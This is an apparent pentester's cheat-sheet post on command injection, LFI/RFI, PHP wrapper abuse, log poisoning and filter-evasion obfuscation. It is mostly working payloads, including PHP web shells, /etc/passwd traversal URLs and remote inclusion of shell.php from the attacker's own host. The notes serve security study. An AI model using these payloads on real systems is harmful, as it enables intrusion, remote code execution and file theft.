Home Notes | Command Injection
Post
Cancel

Notes | Command Injection

Command Injection

A command injection occurs when a user input is not sanitised. A basic example can be a ping command. If a user can enter the IP of the machine and the IP is not sanitised, we could type whatever we want. We could type 127.0.0.1 but we also could type 127.0.0.1 && ls. This can allow a malicious user to execute any command on the server.

Local File Inclusion

Local File Inclusion (LFI) is caused when an application builds a path to executable code using an attacker-controlled variable in a way that allows the attacker to control which file is executed at run time.

Some basic LFI could be :

1
http://SITE/index.php?SOMETHING=/etc/passwd

This can print the passwd file if the site is vulnerable to LFI.

Note the SOMETHING argument. You will need to change the SOMETHING with the injectable parameter you have found.

This is due to an unsanitised inculde like : include($_GET['SOMETHING']);

Path traversal

The path traversal technique consists of accessing a file by traversing to the root directory.

1
http://SITE/index.php?SOMETHING=../../../../../../../../../etc/passwd

Depending on where the website is hosted on the server, you may need to use a different number of ../

If the include looks like include("lang_" . $_GET['SOMETHING']); then you may need to user /../ instead of ../

Blacklisting

Some characters may be blacklisted and replaced. For example, this $something = str_replace('../', '', $_GET['SOMETHING']); replace the ../ by ./ so our previous ../../../etc/passwd will be replaced by ./etc/passwd. We will need to use the following payload :

1
http://SITE/index.php?SOMETHING=....//....//....//....//....//etc/passwd

You can also use URL encoding. For example, replacing ../ by %2e%2e%2f. For more URL encoding look at the Bypass Techniques part.

Appended Extension

If you try the basic LFI technique and the URL is redirected to http://SITE/index.php?SOMETHING=/etc/passwd.php then the server append the .php extension. We can then try to navigate to :

1
http://SITE/?SOMETHING=php://filter/read=convert.base64-encode/resource=FILE_TO_READ

We can use the curl command as follows :

1
curl http://SITE/?SOMETHING=php://filter/read=convert.base64-encode/resource=FILE_TO_READ

And then use the base64 -d command to decode it.

We could also try to use the null byte %00 to get rid of the extension :

1
http://SITE/index.php?SOMETHING=/etc/passwd%00

PHP Wrappers

Except Wrapper

Wrappers allow us to execute commands, access files or URLs… Some basic example of its use is the following :

1
http://SITE/index.php?SOMETHING=expect://id

Data Wrapper

We have just seen how we can use the except wrapper. Now let’s take a look at the data wrapper.

The following will only work if the allow_url_include is activated in the /etc/php/X.Y/apache2/php.ini file for Apache or if the allow_url_include is activated in the /etc/php/X.Y/fpm/php.ini file for Nginx.

We can create a classic web shell like :

1
echo '<?php system($_GET['cmd']); ?>' | base64

We can now navigate to http://SITE/index.php?SOMETHING=data://text/plain;base64,BASE64_STING&cmd=id. Don’t forget to change BASE64_STING to the base64 web shell we generated.

Input Wrapper

Same as Data Wrapper, we need to have the allow_url_include activated.

We can use the cURL program. The following command will show the output for the id command but you can change it for any other command you want.

1
curl -s -X POST --data "<?php system('id'); ?>" "http://SITE/index.php?SOMETHING=php://input"

Apache / Nginx Log poisoning

Log poisoning is a technique that we can use to execute command and print their result in the logs. You can find log files in different locations but here is a list of several of them :

1
2
3
4
5
6
/var/log/apache2/access.log
/var/log/nginx/access.log
/var/log/sshd.log
/var/log/mail
/var/log/vsftpd.log
/proc/self/environ

We are going to take the example of an Apache log poisoning here. If we can see the logs when we go to the following URL then the server may be vulnerable to log poisoning:

1
http://SITE/index.php?SOMETHING=/var/log/apache2/access.log

We can use the tool Burp Suite for this attack to easily and rapidly execute commands.

  1. Start the Burp proxy and intercept the request to the log file.
  2. We then CTRL+R to send it to the repeater.
  3. Change the User-Agent to <?php system($_GET['cmd']); ?>
  4. Navigate in the repeater to http://SITE/index.php?SOMETHING=/var/log/apache2/access.log&cmd=id with the previous User-Agent

Remote File Inclusion

Remote file inclusion (RFI) occurs when the web application downloads and executes a remote file. These remote files are usually obtained in the form of an HTTP or FTP URI as a user-supplied parameter to the web application.

allow_url_fopen (activated by default) and allow_url_include should be activated

  1. 1
    
    python3 -m http.server 8080
    

    or

    1
    
    python3 -m SimpleHTTPServer 8080
    

First we need to launch a server here a web server.

2.

1
echo "<?php system($_GET['cmd']); ?>" > shell.php

Then we create a classic web shell. You can also use pre-made web shell like this one, for example.

  1. http://SITE/index.php?SOMETHING=http://[OUR_IP]:8080/shell.php&cmd=id

Then we need to specify our IP and port so that the web shell is executed. Here we have executed the “id” command.

If the server was on the windows machine we may have preferred a SMB share instead. We would have done the following steps :

1.

1
smbserver.py -smb2support share $(pwd)	

Here we start an SMB server.

  1. http://SITE/index.php?SOMETHING=\\[OUR_IP]\share\shell.php&cmd=id

Bypass Techniques

We may have to bypass several protections. We can replace some characters with their URL encoded string, with some variable… Here is an array containing several examples.

Injection OperatorInjection CharacterURL-Encoded CharacterExecuted Command
Semicolon;%3bBoth
Space+%20Both
Space${IFS}%20Both
New Line\n%0aBoth
Tab\t%09Both
Background&%26Both (second output generally shown first)
Pipe|%7cBoth (only second output is shown)
AND&&%26%26Both (only if first succeeds)
OR||%7c%7cSecond (only if first fails)
Sub-Shell``%60%60Both (Linux-only)
Sub-Shell$()%24%28%29Both (Linux-only)

Instead of using spaces or tabs you can use Brace Expansion. For example instead of using ls -la you can use {ls,-la}.

Environment variables :

Linux

You can also select a character from the environment variables. For example, ${PATH:0:1} will act like a /. This will take the string beginning at the index 0 and take only 1 character of the PATH variable. The ; can be replaced by ${LS_COLORS:10:1}

printenv can be used to print all the environment variables. With that you can customise your payload as you want.

Windows

As for the Linux example, we can do the same on a windows system. The %HOMEPATH:~x,y can be used in the same way where x and y are replaced by numbers.

If you know that you are on a powershell terminal you can use it like this $env:HOMEPATH[0]. To print all environment variables in powershell you can use Get-ChildItem Env:.

Character Shifting

We can also try to pass commands to shift from a character non blacklisted to the one we want. For example, the following example will shift from ] to \ because the \ is on 92 and on 91 is [.``````

1
$(tr '!-}' '"-~'<<<[)

If you want to shift another character you can man ascii and look any character you want.

You can verify that your payload is correct by putting it on your terminal. For example, echo $(tr '!-}' '"-~'<<<\[) should return you the \ character.

Quotes

Inserting specific characters within our command that are typically ignored by command shells like Bash or PowerShell and will execute the same command as if they were not there is one very popular and simple obfuscation technique. These characters include several single-quotes, double-quotes, and a few others. You can see some examples below to execute the whoami command :

1
2
3
w'h'o'am'i  ⇔ w"h"o"am"i ⇔ whoami (linux+windows)
who$@ami	⇔ w\ho\am\iwhoami (linux)
who^ami	⇔ whoami (windows)

Case Manipulation

Depending on the OS the server is on, we can change the case of a command ant it will understand it. On windows for example, we can change the command whoami to WhOaMi and the terminal will understand it the same.

We can do the same in Linux, except that this time it’s case sensitive. “But how can we do the same trick if Linux is case sensitive ?”, well, we can use our word with upper and lower cases (non blacklisted) and replace all the upper cases by lower cases in one command like :

1
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")

Reverse String

Same as upper and lower case, we can reverse a command so the server doesn’t recognise it. On Linux, we will revert our command with the following line :

1
echo 'whoami' | rev

We grab it and put it in our payload that we are going to send to the server. The payload looks like :

1
$(rev<<<'imaohw')

On a Windows machine, we would do the same in Powershell. First we need to revert the string :

1
"whoami"[-1..-20] -join ''

And then put it in the payload :

1
iex "$('imaohw'[-1..-20] -join '')"

Encoding

Same as before, we first create our modified command. Here we are going to base64 it.

1
echo -n 'whoami' | base64

Then we put it in our payload like this :

1
bash<<<$(base64 -d<<<d2hvYW1p)

On a Windows machine, we can do the same on Powershell :

1
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))

And the final payload will be :

1
iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"

Evasion Tools

We can use evasion tools so that they create us the strings we can directly use for command injections instead to create them manually.

Bashfuscator - Linux

  • Setup :
    1
    2
    3
    4
    
    git clone https://github.com/Bashfuscator/Bashfuscator
    cd Bashfuscator
    python3 setup.py install --user
    cd ./bashfuscator/bin/
    
  • Usage example :
    1
    2
    
    ./bashfuscator -c 'cat /etc/passwd'
    ./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1
    

DOSfuscation - Windows

  • Setup :
1
2
3
4
5
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation
help
  • Usage :
1
2
3
SET COMMAND type C:\Users\Bob\Desktop\flag.txt
encoding
1
This post is licensed under CC BY 4.0 by the author.